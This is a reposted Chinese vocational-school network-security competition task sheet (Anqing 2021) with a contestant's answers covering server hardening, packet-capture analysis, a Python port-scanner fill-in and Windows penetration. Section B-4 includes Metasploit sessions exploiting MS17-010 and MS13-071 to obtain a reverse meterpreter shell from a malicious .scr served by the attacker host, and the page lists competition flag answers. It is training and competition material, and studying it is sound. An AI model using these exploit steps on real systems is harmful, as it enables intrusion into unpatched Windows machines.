栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

全国职业院校技能大赛“网络安全”赛项中职组《2021安庆市赛》解析

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

全国职业院校技能大赛“网络安全”赛项中职组《2021安庆市赛》解析

2021年中职组“网络安全”赛项

安庆市竞赛任务书

一、竞赛时间

总计:360分钟

二、竞赛阶段

竞赛阶段

任务阶段

竞赛任务

竞赛时间

分值

A、B模块

A-1

登录安全加固

180分钟

200分

A-2

Web安全加固(Web)

A-3

流量完整性保护与事件监控(Web,Log)

A-4

防火墙策略

B-1

数据库服务渗透测试

400分

B-2

攻击日志分析

B-3

Python渗透测试

B-4

Windows操作系统渗透测试

午餐

午餐

60分钟

0

C、D模块

C模块

CTF夺旗-攻击

180分钟

200分

D模块

CTF夺旗-防御

200分

三、竞赛任务书内容

(一)拓扑图

(二)A模块基础设施设置/安全加固(200分)

一、项目和任务描述:

假定你是某企业的网络安全工程师,对于企业的服务器系统,根据任务要求确保各服务正常运行,并通过综合运用登录和密码策略、流量完整性保护策略、事件监控策略、防火墙策略等多种安全策略来提升服务器系统的网络安全防御能力。

二、服务器环境说明

LOG:日志服务器(Splunk),操作系统为Linux

用户名:root密码:root

Web:IIS服务器,操作系统为Windows

用户名:administrator密码:P@ssw0rd

三、说明:

1.所有截图要求截图界面、字体清晰,并粘贴于相应题目要求的位置;

2.文件名命名及保存:网络安全模块A-XX(XX为工位号),PDF格式保存;

3.文件保存到U盘提交。

A-1:登录安全加固

请对服务器Web按要求进行相应的设置,提高服务器的安全性。

1.密码策略(Web)

a.最小密码长度不少于8个字符,将密码长度最小值的属性配置界面截图;

b.密码策略必须同时满足大小写字母、数字、特殊字符,将密码必须符合复杂性要求的属性配置界面截图。

2.登录策略(Web)

a.在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;

b.一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账户锁定策略配置界面截图;

c.远程用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图。

3.用户安全管理(Web)

a.对服务器进行远程管理安全性SSL加固,防止敏感信息泄露被监听,将RDP-Tcp属性对应的配置界面截图;

b.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图。 

A-2:Web安全加固(Web)

1.为了防止web中.mdb数据库文件非法下载,请对Web配置文件进行安全加固,将C:WindowsSystem32inetsrvconfigapplicationHost配置文件中对应的部分截图;

2.限制目录执行权限,对picture和upload目录设置执行权限为无,将编辑功能权限的配置界面截图;

3.开启IIS的日志审计记录(日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、方法),将W3C日志记录字段的配置界面截图;

4.为了减轻网站负载,设置网站最大并发连接数为1000,将编辑网站限制的配置界面截图;

5.防止文件枚举漏洞枚举网络服务器根目录文件,禁止IIS短文件名泄露,将配置命令截图;

6.关闭IIS的WebDAV功能增强网站的安全性,将警报提示信息截图。 

A-3:流量完整性保护与事件监控(Web,Log)

1.为了防止密码在登录或者传输信息时被窃取,仅使用证书登录SSH(Log),将/etc/ssh/sshd_config配置文件中对应的部分截图; 

2.将Web服务器开启审核策略

登录事件 成功/失败;

特权使用 成功;

策略更改 成功/失败;

进程跟踪 成功/失败;

将审核策略的配置界面截图;

3.配置Splunk接收Web服务器,安全日志,系统日志,CPU负载,内存,磁盘空间,网络状态。将转发器:部署成功的页面截图。

A-4:防火墙策略

所有服务器开启防火墙,为防止勒索病毒攻击对防火墙进行加固策略:

1.Windows系统禁用445端口,将防火墙入站规则截图;

2.Linux系统禁用23端口,将iptables配置命令截图;

3.Linux系统禁止别人ping通,将iptables配置命令截图;

4.Linux系统为确保安全禁止所有人连接SSH除了172.16.1.1这个ip,将iptables配置命令截图。

(二)B模块安全事件响应/网络安全数据取证/应用安全(400分)

B-1:数据库服务渗透测试

任务环境说明:

  • 服务器场景:Server01
  • 服务器场景操作系统:未知(关闭链接)
  • 太简单了,就是湖南的环境 懒得写了
  1. 通过分析靶机Server01页面信息,寻找漏洞页面,将WEB服务存在SQL注入漏洞的页面名称作为Flag提交;
  2. 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务的数据库名称作为Flag提交;
  3. 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB服务用户的表名称作为Flag提交;
  4. 通过本地PC中的渗透测试平台Kali对靶机进行SQL注入攻击,获取靶机的数据库信息,将用来存放WEB登陆用户admin用户的明文密码作为Flag提交;

B-2:攻击日志分析

任务环境说明:

  • 服务器场景:FTPServer0520
  • 服务器场景操作系统:未知(关闭连接)
  • FTP用户名:hacker1密码:hacker1
  1. 登录FTP下载数据包文件hacker1.pacapng,分析出黑客扫描得到的靶机开放的端口,将靶机开放的端口作为FLAG(形式:[端口名1,端口名2,端口名3…,端口名n])从低到高提交;首先看到这种找端口的题目,一般出题人用的都nmap。Nmap扫端口都是用同一个端口扫描,所以看[tcp]类型的包。

可以看见,全部都是一些端口往[33556]端口发送数据包,所以初步断定这个[dst]ip应该八成是黑客ip[192.168.1.10]

再次进行过滤[tcp.port==33556&&ip.src==192.168.1.10] 

一般这种发送[RST]数据包的就是开放端口的,然后你也可以看右边,有颜色不同的,一般都是开放的端口

Flag{80,135,139,445,3389,49152,49153,49154,49155,49156,49157}

  1. 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后获得的操作系统的版本号,将操作系统的版本号作为FLAG(形式:[操作系统版本号])提交;
  2. 这题一般不是FTP或SSH就是Telnet了但是

 

[Windows 7 or Windows Server 2008 R2] 以为是flag 但是这个是错误的

然后我在看了看别的协议,一个都没有,不经陷入了沉思。。。

{思路2:查看第一题,发现有445端口,而且还有4万一上的端口,我认为是台windows}

既然是windows7或者2008而且还开了445那八成一个就是一个17-010的数据包了,直接[tcp.port==4444]

随便找一个数据包,右键追踪流>tcp流

应该是答案了

Flag{ 6.1.7601}

  1. 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第一条命令,并将执行的第一条命令作为FLAG(形式:[第一条命令])提交;
  2. 看上题也可以得出
  3. Flag{whoami}
  4. 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第二条命令,并将执行的第二条命令作为FLAG(形式:[第二条命令])提交;
  5. 同上
  6. Flag{net user}
  7. 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第一条命令的返回结果,并将执行的第一条命令返回结果作为FLAG(形式:[第二条
  8. 命令返回结果])提交;
  9. 同上
  10. Flag:[ win-k1unj4kn7qjadministrator]
  11. 继续查看数据包文件hacker1.pacapng,分析出黑客成功入侵后执行的第三条命令的返回结果,并将执行的第三条命令返回结果作为FLAG(形式:[第三条命令返回结果])提交。
  12. 同上
  13. Flag['pwd' ....................................................]

B-3:Python渗透测试

任务环境说明:

  • 服务器场景:FTPServer0520
  • 服务器场景操作系统:未知(关闭链接)
  • FTP用户名:410密码:401
  1. 从靶机服务器的FTP上下载410.py,编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag1字符串,将该字符串作为Flag值提交;

flag{IP}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP/UDP全开的端口扫描,填写该文件当中空缺的flag2字符串,将该字符串作为Flag值提交

Flag{TCP} 

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag3字符串,将该字符串作为Flag值提交;
  2. //提示说是 异常退出

所以flag 应该是 sys.exit(1)

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag4字符串,将该字符串作为Flag值提交;
  2. flag4被包进range()方法里面所以是个[int]类型,然后再分析这一段
  3. 发现是输入传参

应该是用 [sys.argv(),第一个是给了ip,然后第二个和第三个是端口,

但是[sys.argv]返回的值是[str]类型所以用到 [int()]方法转换为int类型

Flag{int(sys.argv[2])}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag5字符串,将该字符串作为Flag值提交;
  2. 因为python range()方法获取的值是 x,y-1,就是说后一位数最后实际是到达不了的会,列如

// range(1,10) 实际上就是 1-9,所以就是为什么 后面要+1,这个比较细

Flag{int(sys.argv[3])+1}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag6字符串,将该字符串作为Flag值提交;
  2. 这个flag7 也没什么好说的

#python2.7

a = 123

b = type(str(a))

print type(b)

//返回值为:

所以直接写一个 [type(resp)]是不对的返回值不是[str]类型

得 加上 [str()]方法

Flag{str(type(resp))}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag7字符串,将该字符串作为Flag值提交;

这个其实自己最好可以去抓一下哪个[nmap]扫描端口的数据包,自己分析一下 

来看这两个包,[79]端口关闭 [80]端口开放 看详细信息:下面这个是[79]

这个是[80]

分析总结:

1,数据包发送的协议不同

2,数据包的flags不同

3,TCP flags的结果也不同

得出:开放端口的[flags]为0x012,关闭端口的为[0x014];

     TCP Flags开放的为AS 关闭的为AR

我一开始flag7 flag8填写的都是 AS 和 AR因为自己也写了一个类似的脚本,当时还是错的,发现得填写 0x12和0x14才可以 (前面的0去掉是多余的)

Flag{0x12}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag8字符串,将该字符串作为Flag值提交;
  2. 同上题

Flag{0x14}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag9字符串,将该字符串作为Flag值提交。

这个提示为 正常退出 所以说

flag应该就是 退出函数几个 [exit,quit,sys.exit(0),os.exit]

sys.exit(0)和sys.exit(1)是有区别的 //自己去百度吧

Flag{sys.exit(0)}

  1. 继续编辑Python程序410.py,使该程序实现基于TCP全开的端口扫描,填写该文件当中空缺的flag10字符串,将该字符串作为Flag值提交。

这个当时看的我一脸懵逼

这个是返回来的一个对象看来看去应该也就[resp]//是题目中的一个变量

Flag[resp]

B-4:Windows操作系统渗透测试

任务环境说明:

  • 服务器场景名:Server02
  • 服务器场景操作系统:未知(关闭链接)
  1. 通过本地PC中渗透测试平台Kali对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中8080端口对应的服务版本信息字符串作为Flag提交;

方法1:

这题没什么好讲的就是用MSF模块

渗透使用 MSF: exploit/windows/smb/ms17_010_psexec

msf6 > use exploit/windows/smb/ms17_010_psexec

[*] Using configured payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.0.215

rhosts => 192.168.0.215

msf6 exploit(windows/smb/ms17_010_psexec) > exploit

方法2:

MSF:exploit/windows/fileformat/ms13_071_theme

MSF:auxiliary/admin/smb/ms17_010_command

这个得开两个终端

终端1:

Msfconsole

Searsh ms13-071

Use exploit/windows/fileformat/ms13_071_theme

Expload

输出:

msf6 exploit(winzdows/fileformat/ms13_071_theme) > [*] Started service listener on 192.168.16.145:445

[*] Server started.

[*] Malicious SCR available on \192.168.16.145ttDSvDmsf.scr...

[*] Creating 'msf.theme' file ...

[+] msf.theme stored at /root/.msf4/local/msf.theme //开始监听

把紫色的地方复制一下

终端2:

Msfconsole

Search ms17-010

Use auxiliary/admin/smb/ms17_010_command

Set command \192.168.16.145ttDSvDmsf.scr

set rhosts 192.168.16.215

exploit

然后回到终端1发现已经成功获得一个shell会话

终端1:

Session 1

[*] Starting interaction with 1...

meterpreter >

ok下面这些题目是个人都做得出来,懒得说了

这个可以直接获取shell

Flag{Microsoft IIS httpd 6.0}

  1. 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上111文件夹唯一一个后缀为.docx文件的文件名称作为Flag提交;
  2. Flag{e7a70fa81a5935b7}

通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上111文件夹唯一一个后缀为.docx文件的内容作为Flag提交;

Flag{7fc56270e7a70fa81a5935b72eacbe29}

  1. 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景桌面上222文件夹中唯一一个图片的英文单词作为Flag提交;
  2. Flag{security}
  3. 通过本地PC中渗透测试平台Kali对服务器场景进行渗透测试,将该场景回收站内文件的文档内容作为Flag提交;
  4. Flag{92eb5ffee6ae2fec3ad71c777531578f}

(三)模块C  CTF夺旗-攻击

(本模块200分)

一、项目和任务描述:

假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。

请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录攻击机。

二、操作系统环境说明:

客户机操作系统:Windows 10/Windows7

靶机服务器操作系统:Linux/Windows 

三、漏洞情况说明:

1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;

2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;

3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;

4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;

5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;

6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;

7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。

四、注意事项:

1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;

2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;

3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;

4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;

5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;

6.本环节不予补时。

(四)模块D  CTF夺旗-防御

(本模块200分)

一、项目和任务描述:

假定各位选手是某安全企业的网络安全工程师,负责若干服务器的渗透测试与安全防护,这些服务器可能存在着各种问题和漏洞。你需要尽快对这些服务器进行渗透测试与安全防护。每个参赛队拥有专属的堡垒机服务器,其他队不能访问。参赛选手通过扫描、渗透测试等手段检测自己堡垒服务器中存在的安全缺陷,进行针对性加固,从而提升系统的安全防御性能。

请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录需要加固的堡垒服务器。

二、操作系统环境说明:

客户机操作系统:Windows 10/Windows7

堡垒服务器操作系统:Linux/Windows

三、漏洞情况说明:

1.堡垒服务器中的漏洞可能是常规漏洞也可能是系统漏洞;

2.堡垒服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;

3.堡垒服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;

4.堡垒服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;

5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;

6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;

7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。

四、注意事项:

1.每位选手需要对加固点和加固过程截图,并自行制作系统防御实施报告,最终评分以实施报告为准;

2.系统加固时需要保证堡垒服务器对外提供服务的可用性;

3.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;

4.本环节不予补时。

二、说明:

1.所有截图要求截图界面、字体清晰;

2.文件名命名及保存:网络安全模块D-XX(XX为工位号),PDF格式保存;

3.文件保存到U盘提交。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/675475.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号